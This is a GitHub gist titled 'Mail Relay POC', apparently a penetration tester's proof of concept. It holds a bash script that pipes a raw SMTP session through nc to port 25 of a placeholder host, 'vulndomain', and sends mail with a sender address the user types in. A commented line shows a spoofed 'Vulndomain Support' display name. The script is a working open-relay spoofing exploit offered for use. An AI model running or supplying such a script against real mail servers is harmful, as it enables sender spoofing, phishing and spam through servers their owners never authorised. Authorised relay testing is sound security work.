Skip to content

Instantly share code, notes, and snippets.

@insi2304
Created December 31, 2019 09:56
Show Gist options
  • Save insi2304/66f2bf823426b4e6bb23513bb96703a1 to your computer and use it in GitHub Desktop.
Save insi2304/66f2bf823426b4e6bb23513bb96703a1 to your computer and use it in GitHub Desktop.
Mail Relay POC
#!/bin/bash
read -p "Enter Email Body: " body
read -p "Enter sender mail address: " sender
read -p "Enter reciever mail address: " recipient
mail_server_ip="vulndomain"
mail_server_port="25"
#recipient="youremail@gmail.com"
#sender="\"Vulndomain Support\"<${sender}>"
nc ${mail_server_ip} ${mail_server_port} << EOF
ehlo vulndomain.com
mail from:${sender}
rcpt to:${recipient}
data
From:${sender}
To:${recipient}
subject: Telnet test
${body}
.
quit
EOF
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment